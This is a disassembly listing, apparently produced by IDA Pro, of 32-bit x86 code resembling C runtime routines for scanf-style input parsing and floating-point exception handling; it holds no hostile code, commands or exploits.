
loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C328
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al

loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43C534
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------

loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi

loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1

loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------

loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58

loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------

loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax

loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx

loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F

loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43C534, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------

loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------

loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43C534, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------

loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------

loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280

loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F

loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------

loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------

loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D

loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43C534, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------

loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43C534, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------

loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D

loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------

loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi

loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0

loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]

loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di

loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------

loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C328
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]

loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax

loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------

loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h

loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D

loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------

loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]

loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------

loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4

loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43CCA0, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB2A8, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h

loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43CCA0, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------

loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------

loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------

loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx

loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 26503B5h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh

loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh

loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h

loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh

loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh

loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------

loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx

loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------

loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------

loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx

loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
